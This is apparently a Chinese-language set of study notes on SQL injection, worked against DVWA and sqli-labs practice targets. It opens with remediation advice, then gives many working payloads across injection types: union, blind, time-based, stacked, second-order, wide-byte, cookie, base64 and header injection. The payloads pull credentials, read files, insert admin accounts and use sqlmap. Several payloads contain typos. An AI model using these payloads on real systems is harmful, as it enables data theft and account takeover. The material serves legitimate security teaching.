SQL注入
概念
Web程序代码对于用户提交的参数未做过滤直接放到SQL语句中执行,导致参数特殊字符传入后端拼接打破SQL语句原有逻辑,黑客利用该漏洞执行任意SQL语句,如查询数据,下载数据,写入Webshell,执行洗头命令以及绕过登录限制
测试方法
发现有可控参数的地方使用sqlmap进行SQL注入的检查或者利用,也可以使用其他SQL注入工具,简单点可以手工测试如:单引号,and 1=1 和and 1=2 以及字符型注入进行判断,推荐使用burpsuite的sqlmap插件,鼠标邮件就可以将数据包发送到sqlmap里面进行检测
修复建议
1. 使用参数化查询或预编译语句
- 原理:参数化查询允许开发人员将SQL命令与要传递的数据分离。这样,即使用户输入包含恶意内容,这些内容也会被视为纯文本而非可执行代码。
- 实现:大多数现代编程语言和框架都支持这种做法。例如,在Python中使用
sqlite3库时,可以通过?占位符来代替直接拼接字符串;而在Java中可以利用JDBC提供的PreparedStatement接口。
2. 对所有外部输入进行验证
- 检查类型:确保每个输入符合预期的数据类型(如数字、日期等)。
- 限制长度:为每个输入设置合理的最大长度。
- 白名单过滤:仅接受已知的安全值。比如,如果一个字段应该只包含字母,则拒绝所有非字母字符。
- 正则表达式:使用正则表达式来进一步限定输入格式。
3. 最小权限原则
- 账户权限管理:为不同的数据库操作创建具有最小必要权限的独立账号。例如,用于读取数据的账号不应拥有修改或删除记录的权利。
- 环境隔离:生产环境应与测试/开发环境严格分开,并且各自使用独立的数据库凭证。
4. 更新并打补丁
- 定期检查所使用的数据库管理系统(DBMS)是否有最新的安全更新,并及时安装。
- 关注社区发布的关于特定DBMS版本的安全公告。
5. 错误处理
- 不要向客户端显示详细的错误信息,因为这可能暴露有关系统内部结构的信息。
- 记录错误日志以便后续分析,但需要保证这些日志本身也是安全存储的。
6. 采用ORM框架
- 对象关系映射(ORM)工具可以帮助自动处理很多底层细节,包括防止SQL注入。但是,请注意正确配置它们以避免潜在的安全问题。
与mysql注入相关知识
在mysql5以后,mysql默认在数据库中存放在一个叫infomation_schema里面,这个库里有很多表,重点是columns、tables、shemata
shemata表字段CHEMA_NAME记录着库的信息
tables表字段TABLE_SCHEMA、TABLE_NAME分别记录着库名和表名
columns存储该用户创建的所有数据库的库名、表名、字段名
通过infomation_schema查询www_dvwa_com库里所有的表和字段
Select * from infomation_schema.COLUMNS where TABLE_SCHEMA=’www_dvwa_com’
SQL注入原理
SQL注入漏洞产生需要满足以下条件
1、参数用户可控:从前端传给后端的参数用户可以控制
2、参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
当用户传输参数为1’的时候,这数据库执行如下所示
select * from users where id=1′
此SQL语句不符合语法规则会报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’at line 1
当用户传入参数为1 and 1=1时
Select * from users where id =1 and 1=1
因为1=1为真 id==1也是真 and两边均为真 所以页面会返回id=1的结果
如果用户传输参数为1 and 1=2 时
因为1=2为假 id=1为真 and两边有一个为假,所以页面返回与id=1不一样的结果
由此可以初步判断存在SQL注入漏洞,攻击者可以在一步拼接SQL攻击语句进行攻击,致使信息泄露,获取服务器权限
判断是否存在注入
回显指页面有数据,信息返回
id =1 and 1=1
id =1 and 1=2
id =1 or 1=1
id =’1′ or ‘1’=’1′
id="1"or"1"="1"
无回显指 根据输入的语句,页面没有任何变化,或者没有数据库中内存回到网页中
三种sql注释符
单行注释 注意与url中#进行区分,常编码为%23
–空格 单行注释,注意短线短线空格
/( )/ 多行注释,至少存在俩处注入 /**/常用来作为空格
注入流程
是否存在注入并且判断注入类型
判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file(‘C:windowswin.ini’)#
写入webshell select.into outfile…
注入的分类
SQL注入分类,按照SQLmap中分类来看,SQL注入类型有一下5种
UNION query SQL injection 可联合查询注入
Sttackerd queries SQL injection 可多语句查询注入 堆叠查询
Boolean-based blind SQL injection 布尔型注入(布尔盲注)
Error-based SQL injection 报错型注入
Time-based blind SQL injection 基于时间延迟注入
接受请求类型区分
GET注入
GET请求的参数啥放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码
POST注入
POST请求参数是放在请求body里的,长度没有限制
COOKIE注入
cookie参数放在请求头信息,提交的时候,服务器会从请求头获取
注入数据类型的区分
int整形
select * from users where id = 1
sting字符型
select * from users where username=’admin’
like搜索型
select * from news where title like’%标题%’
SQL注入常规利用思路
1、寻找注入点,可以通过web扫描工具发现
2、通过注入点尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息
3、猜解关键数据库表及其终于字段与内容(常见如存放管理员账户的表名,字段名等信息)还可以获取数据库的root账号密码
4、可以通过获得的用户信息寻找后台登录
5、利用后台或了解的进一步信息
手工注入思路
1、判断是否存在注入,注入是字符型还是数字型
2、猜解SQL查询语句中的字段数
3、确定显示的字段顺序
4、获取当前数据库
5、获取数据库中的表
6、获取表中字段名
7、查询账户数据
SQL详细注入过程
猜数据库
1′ union select 1,database()
payload利用另一种方式:
1’union select user(),database()
version()
得到数据库dvwa
:union查询结合了两个select查询结果,根据上面的oderby语句我们知道查询包含两列,为了实现两列查询结果,需要union查询结合我们构造另外一个select 注意使用union查询的时候需要和主查询列数相同
猜表名
1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名 guestbook,users
group_concat分组
猜列名
1′ union select 1,gourp_cancat(column_name) from information_schema.columns where table_name = 0x7573657273#
1′ union select 1,group_cancat(column_name) from information_schema.columns whewre table_name = ‘users’#
(用编码就不用单引号,用单引号就不用编码)
得到列:
user_id,first_name,last_name,users,password,avatar,last_login,failed_login,id,username,password
1′ union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users#
得到用户数据
admin …..
猜root用户:
1′ union select 1,group_concat(user,password) from mysql.user#
得到root用户信息
root*….
Union联合查询注入
联合查询注入是联合两个表进行注入 使用关键词union select 对两个表进行联合查询,两个表的字段要相同,不然会出现报错
整合联合查询方法
Select * from guestbook Where comment_id =1 union select 1,2,3 from users guestbook 有三个字段users 也需要有三个与之匹配
这些数字可以替换成字段的名称或者函数
替换成函数
select * from guestbook where comment_id =1 union select database(),user(),version() from users
如果没有加上limit限定条件会把所有内容查询出来,所以都会加上limit 1限定
select * from guestbook where comment_id =1 union select user_id,user,password from users limit 1
但是只会显示第一条,因为select * from guestbook where comment_id =1这个语句是存在记录的,如果想要admin的内容可以把1换成其他不存在的记录,因为默认负数就表示不存在的 所以可以在数字前加上- 即可显示第二个表的内容
select * from guestbook where comment_id =-1 union select user_id,user,password from users limit 1
union联合注入攻击
使用$_request直接接收id参数,且没有进行过了,且可以接收cookie get post这些传递方法,当传入1时,页面正常返回用户信息
如果传入1’语法会出现语句You have an error in your SQL syntax这种是mysql语法错误提示
根据代码分析’$id’是属于字符串类型,所以在进行SQL注入检测的时候要注意匹配字符串
判断SQL注入
输入1’and’1’=’1页面返回用户信息 1’and ‘1’=’2 页面返回不一样的信息,基本可以确定存在SQL注入漏洞


判断字段数
使用语句 order by 确定当前表的字符数
order by 1 如果页面返回正常,字段数不少于1, order by 2不少于2 诸如此类,直到页面出错,正确字段书啥出错数字减1
公式:order by n-1
1′ orber by 1–+正常
1′ orber by 2–+正常
1′ orber by 3–+出错


键入联合查询
1′ union select 1,2 –+

把数据替换成mysql函数例如md5(1)会在页面返回1的md5加密信息
使用这个函数一般是班帽子扫描器的匹配存在漏洞的特征码
-1′ union select 1,md5(1) –+

接着获取mysql版本,当前用户权限,当前数据库
version()
database()
user()
group_concat()分组打印字符串
把函数直接替换数字查看页面
-1′ union select 1,version() –+




联合查询注入通过information_schema获取表
在黑盒情况下不知道当前库有什么表,通过mysql自带的information_schema查询当前库的表
查询当前库的表 limit 1 相当于 1表示显示第一个 改成2就是第二个
第一个表:
-1′ union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1 )–+
第二个表:
-1′ union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)–+
SQL注入报错:Illegal mix of collations for operation ‘UNION‘
查看数据库发现,出现这个问题是因为information_schema数据库里面都是utf8_general_ci,而靶场网站user表中的数据都是utf8_unicode_ci。将user表中更改为与information_schema一样的就可以了。


联合查询注入通过information_schema获取字段
同样的查询字段也可以通过内置库information_schema里的COLUMNS这个表记录所有表的字段,通过COLUMNS查询users表的字段
获取user表第一个字段名
-1′ union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’users’ limit 1)) –+
获取user表第二个字段名
-1′ union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’users’ limit 2,1)) –+
获取user表第三个字段名
-1′ union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’users’ limit 3,1)) –+
通过联合查询表里的内容
通过以上黑盒查询,获取库名,表名,字段,那么就可以查询某个表的内容
-1′ union select 1,(select group_concat(user,0x3A,password) from users limit 1)–+

布尔型注入
在页面不会显示数据库信息,一般情况下只会显示对与错的内容
接收id的值,直接带入查询,如果存在即返回 users is exists in the database
否则显示users id is missing这种只有正确与错误页面,页面不会显示数据库里任何内容,如果存在注入 称为盲注入
盲注方式有两种:一种是布尔型盲注 一种是延时注入
判断盲注入
输入SQL注入检测语句判断页面是否不一样,如果不一样大概会存在SQL注入漏洞1′ and’1’=’1一样 1′ and ‘1’=’2不一样,如果输入检测语句页面没有任何改变可以使用延时语句进行检测,1′ and sleep(10)–+
函数sleep()在mysql是延时返回的意思 以秒为单位

通过这两个检测方法判断 可以确定存在SQL注入漏洞

boolean布尔型注入攻击
因为页面不会返回任何数据库内容,所以不能使用联合查询将敏感信息显示在页面,但是可以通过构造SQL语句获取数据
布尔型盲住用到SQL语句
select if(1=1,1,0)
if()函数在mysql上判断,第一个参数表达式如果条件整理 会显示1,否则显示0
1=1表达式可以换层构造的SQL攻击语句
1′ and if(1=1,1,0)–+ 页面返回正常,这个语句实际上是1′ and 1
真and真 结果为真
1是存在记录的,所以返回正确页面

布尔型盲注获取数据库敏感信息
在黑盒测试环境下,构造SQL注入语句 根据页面特征确定获取敏感信息,布尔型盲注用到的函数
SUBSTRING()字符串截取 ,第一个参数啥字符串,第二个参数是开始截取,第三个是截取的长度
select database()查询当前库
select substring(database(),1,3)
1′ and if(substring(database(),1,1)=’d’,1,0)
通过substring截取长度
接着再用if函数进行构造,select if(SUBSTRING(database(),1,1)=’d’,1,0)判断数据库第一个字是不是字符d 如果是则返回1 不是则返回0
接着判断第二个字符,将substring第二个参数改成2,截取第二个字符,select if(substring(database(),2,1)=’v’,1,0) 第二个字符为v,如此类推,最后拼接字符就是完整数据库名
在黑盒模式下布尔型注入
在黑盒模式下进行测试首先判断注入,判断完注入就获取数据库的长度,得到长度再查询库名,通过库名查询表,接着通过表查询字段,最后查询某表指定的数据
布尔型盲注查询长度
要查询当前库名,首先确定查询数据库的长度,再通过截取字符进行对比
1′ and if(length(database())=4,1,0) –+
确定数据库名长度
要出数据 用substring函数判断第一个字符 第二个字符 看回显
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_
每次都要与这些字符进行判断,最后得到d
1′ and if(substring(database(),1,1)=’d’,1,0)
布尔型盲注与Burpsuite配合获取数据
0
1
2
3
4
5
6
7
8
9
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
.
@
_



数据库名 dvwa
得到库名接着获取表名
1’and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)=’g‘,1,0)–+
抓包分别设置单个变量


得到表名guestbook
获取第二个表名
1’and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2),1,1)=’g’,1,0)–+
获取字段名
1’and if(substring(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’users’ limit 1,1)1,1)=’u‘,1,0)–+
获取users表字段 最后获取账号密码
首先判断查询账号和密码的长度
1′ and if(select length(concat(user,0x3a,PASSWORD))from users limit 1)=38,1,0)–+
使用burpsuite获取账号和密码
1′ and if(substring(select concat(user,0x3a,PASSWORD)from users limit 1)1,1)=’a’,1,0)–+
burpsuite抓包修改值 提交测试
得到账号密码
最后整理得出结果 admin:5f4dcc3b5aa765d61d8327deb882cf99
报错注入
数据库显错是指 数据库在执行时,遇到语法不对,会显示报错信息,例如语法错语句
select’ 11064 -You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
时间注入
时间注入又叫延时注入,属于盲注一种,通常是某个注入点无法通过布尔注入获取数据采取的一种突破注入技巧
在mysql里 函数sleep()啥延时的意识,sleep(10)就是数据库延时10秒返回内容,判断注入可以使用’and sleep(10)数据库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在SQL时间注入
mysql延时注入用到的函数
sleep()
if()
substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是注入要构造的SQL语句
select if(length(database())>1,sleep(5),0)这是查询当前库大于1就会延时5秒执行
-·’ or if(length(database())>1,sleep(5),0)–+可以看到网页是大于五秒返回,根据这个判断数据库名长度大于1,当>n时 长度为n-1
如果想要获取数据内容,可以用截取字符再进行字符对比,如果相同就进行延时,这样就能获取字符再拼接当前库内容
时间注入代码分析
在页面分析源码,直接获取name带进数据库查询,但是是否存在记录页面返回都一样
在黑盒模式下可以使用sqlmap对注入检测,sqlmap支持多种数据库数据,而且支持多种注入方式
采用时间注入
sqlmap -u "http://localhost:80/DVWA/vulnerabilities/sqli_blind/?id=^&Submit=Submit" –technique=T -batch
-u 表示检测的url
-p 指定检测参数
-v 显示调试模式
–technique =T 检测方法为时间注入

sqlmap检测为时间注入,接下来通过这个注入获取数据库的名、用户权限,表,字段等敏感信息的获取
–current-user 获取用户
–current-db 当前库
–batch 使用默认模式 自动Y



堆叠注入
堆叠查询:可以执行多条sql语句,语句之间以分号隔开,堆叠查询注入攻击是利用这个特点,在第二条语句中构造要执行攻击的语句,在mysql里,mysql_multi_query和mysql_multi_query这两个函数执行一个或多个针对数据的查询,多个查询用分号进行分隔,但是堆叠查询只能返回第一条查询信息,不反回后面的信息。
select version();select database()
堆叠注入点危害很大,可以任意增删改查,例如删除数据库,修改数据库,添加数据库
堆叠注入代码分析
sudo docker run -dt –name sqli -p 7766:80 acgpiano/sqli-labs
在堆叠注入页面中,程序获取get参数的id,使用mysqli的方式进行数据查询,在执行语句时使用了mysqli_multi_query函数处理sql语句,导致存在堆叠注入
堆叠注入的利用
使用id=1′ and 1=2 –+ id =1′ and 1=1 –+确定是否存在注入,接着使用堆叠语法进行检测

-999′ union select 1,2,(select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)–+

把库里所有的表获取出来,再获取字段
-999′ union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=’users’ limit 1) —

1′;insert into users values(21,’yuhui’,’123456′)–+
1′;insert into users(id,username,password) values(20,’yuhui’,’123456′)–+


知道表的情况下使用insert into插入语句进行增加账号,如果是管理表,直接添加管理员账号即可登陆后台

1′;insert into users values(23,(select version()),’123456′)–+
二次注入
二次注入漏洞是一种Web应用程序中广泛存在的安全漏洞形式,相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力
二次注入的原理
在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes 或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加进行转义,但是并不会插入到数据中,在写入数据库的时候还是保留了原来的数据
在讲数据存入到数据库之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库取出了脏数据,没有进行下一步的检验和处理,这样就会造成SQL的二次注入,比如在第一次插入数据的时候,数据中带有单引号,直接插到了数据库中,然后在下一次使用中在拼凑的过程中就形成了二次注入
主要分为两步:
1、插入恶意数据库
:::color1
第一次进行数据库插入数据的时候,仅仅对其特殊字符进行转义,在写入数据库点时候还是保留了原来点数据,但是数据点本身包含恶意内容
:::
2、引用恶意数据
:::color1
在将数据存入到了数据库中后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据中取出了恶意数据,没有进行进一步的校验和出来,这样就会造成sql二次注入
:::

SELECT * from 'users' where user_id = '1''
普通:
‘admin’
开gpc,add转义函数(上述提到的):
‘admin’
这里如果数据库操作 update
那么查询admin时会产生
select * from users where name='admin'
但若被攻击则会出现
select * from users where name='<font style="background-color:#FBDE28;">'admin'</font>'
高亮部分可以被攻击者替换为其他恶意代码,达到二次注入效果
二次注入代码分析
在sqli-labs中存在二次注入

mysql_real_escape_string函数会将特殊字符进行过滤 如’ 经过转义就成了’ 然后用insert into 存入在数据库中
在login.php查看源码,登录获取用mysql_escape_string对输入的参数进行转义,转义之后在数据库中查找指定的账号和密码再传入到session里

再看pass_change.php源码

$_SESSION[‘username’]复制给$username无任何过滤再带入UPDATE语句中造成注入。整个流程就是注册用户,更改密码时会触发注入,可以看到二次注入比较隐蔽,通常发生在更改,需要二次带入数据时提交的功能里
黑盒环境下进行二次注入测试
确定测试的网站是否进行过滤,一般情况下网站都会对输入点参数进行过滤,徐娜好可能会带入恶意数据二次使用的地方,例如用户注册->修改密码 邮箱注册->修改密码,
二次注入测试SQL注入,多数是字符型注入,注意闭合问题,先注册用户a’ 再分别注册用户a’ and 1=1# a’ and 1=2# 再来可能触发的地方
宽字节注入
宽字节注入 在SQL进行防注入点时候,一般会开启gpc等过滤字符,一般情况下开启gpc是可以防御很多字符串型的注入,但是如果数据库编码不对也可以导致SQL绕过达到注入点目的,如果数据库设置宽字节字符集 gbk会导致宽字节注入,从而逃逸gpc
前提条件
数据库编码与php编码设置为不同点两个编码那么就有可能产生宽字节注入
要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析SQL语句,其次还要保证在该种字符集范围中包含低字节位是0x5c(01011100)的字符,初步的测试结果Big5和GBK字符集都有,UTF-8和GB2312没有这种字符
gpc绕过过程:
%df%27—->(addslashes)—->%df%5e%27—->(数据库GBK)—–>縗’
宽字节注入代码分析
check_addlashes 是将特殊字符进行过滤将’ 变成’
mysql_query设置数据库的编码为gbk将id参数传入到SQL中带入查询,传入%df%27即可逃逸gpc 所以存在宽字节注入

%df%27%20union%20select%201,user(),version()%23

Cookie注入
Cookie注入与GET、POST注入区别不大,只是传递方式不一样,GET再url传递参数、POST在POST正文传递参数和值,COOKIE在cookie头传值
get在url栏 即使提交到方法是post 只要在url栏上都可以传递get
post在正文里,提交到方法必须存在post
cookie有没有post都可
cookie注入代码分析
在less20中判断是否提交submit 如果存在$cookee=$_COOKIE[‘UNAME’]获取值保存到$cookee再拼接到sql带入查询,造成注入

黑盒环境下cookie注入
cookie功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行测试,抓取cookie包进行安全测试
用cookie提交攻击输入攻击语句进行检测是否存在SQL注入
uname=admin’+and+1%3d1–+ uname=admin’+and+1%3d2–+进行检测
抓包放入Repeater

添加cookie值


产生Your Cookie is deleted需要删除原先的submit



这边发现1和2都可以,那么判断存在cookie注入
使用联合查询,查询敏感数据
admin’ union select 1,2,(user())–

admin’ union select 1,2,(select concat(username,password) from users limit 1)–

base64编码注入
一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中,数据库编码都好处是防止数据丢失,也有不少网站使用base64进行数据库传输,如搜索栏,或者id接收参数,有可能使用base64处理传递都参数
在php中 base64_encode()函数对字符串进行base64编码 可以编码也能解码
base64_decode()这个函数进行解码
编码解码流程:
1->base64编码->MQ–>base64解码

base64编码注入可以绕过gpc注入拦截,因为编码过后的字符串不存在特殊字符,编码过后的字符串在程序中重新被解码,再拼接成SQL攻击语句,从而形成SQL注入
base64注入代码分析
从存在漏洞的代码中,首先判断是否有POST的submit参数过来,如果有 使用$_COOKIE[‘uname’]获取cookie传过来的账号再拼接到SQL查询

这段代码的意思$cookee = base64_decode($cookee);将$cookee传过来的参数进行解码,所以$cookee传递过来的数据必须先进行编码,否则解码不了会导致出错
黑盒环境对base64编码注入
观察网站是否存在base64编码数据,例如传递的id,搜索模块
如果存在类似== 可以用base64解码进行厕所
admin’and 1=1– 编码YWRtaW4nYW5kIDE9MS0tIA==
admin’and 1=2– 编码YWRtaW4nYW5kIDE9Mi0tIA==


本次测试页面是cookie 所以用cookie提交 且有括号需要闭合
第一次提交页面返回存在admin 第二次提交没有admin 页面返回不相同,所以存在SQL注入
代码存在mysqli_error函数所以可以利用报错注入进一步获取敏感信息
admin’)and (updatexml(1,concat(0x7e,(select user()),0x7e),1))–
进行base64编码是
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tIA==
提交获取敏感信息

xff注入攻击
X-Forwarded-For简称xxf头,代表客户端真实IP,通过修改他的值就可以伪造客户端IP,XFF并不受gpc影响,而且开发人员容易忽略这个xff头,不会对xff头过滤
<?php
echo "xff–" $_SERVER[‘HTTP_X_FORWAEDED_FOR’];
?>
使用bpX-Forwarded-For:9.9.9.9可以随意设置字符串,如果程序中获取这个值再带入数据库查询会造成SQL注入
除了X-Forwarded-For还有HTTP_CLIENT_IP都可以由客户端控制值,所以服务端接受这两个参数的时候,没有过滤会造成SQL注入或者更高的危害
xff注入代码分析
getenv(‘HTTP_X_FORWARDED_FOR’)获取远程客户端的HTTP_X_FORWARDED_FOR的值,没有进行过滤拼接SQL语句带入查询造成注入
在黑盒环境下xff注入
在用户登录注册模块在HTTP头信息添加X_FORWARDED_FOR:9.9.9.9 用户在注册的时候,如果存在安全隐患,会出现错误页面或者报错,从而导致注册或者登录用户失败
bp抓包提交检测语句
X_Forwarded_For:127.0.0.1’and 1=1 —
X_Forwarded_For:127.0.0.1’and 1=2 —
两次提交返回不一样 存在SQL注入漏洞
获取敏感信息
X_Forwarded_For:127.0.0.1′ union select 1,2,user()#
输入提交包后 看到页面返回root@localhost
更新: 2025-05-06 19:05:20
原文: https://www.yuque.com/yuhui.net/network/am6vgle0y4q4991d

评论(0)
暂无评论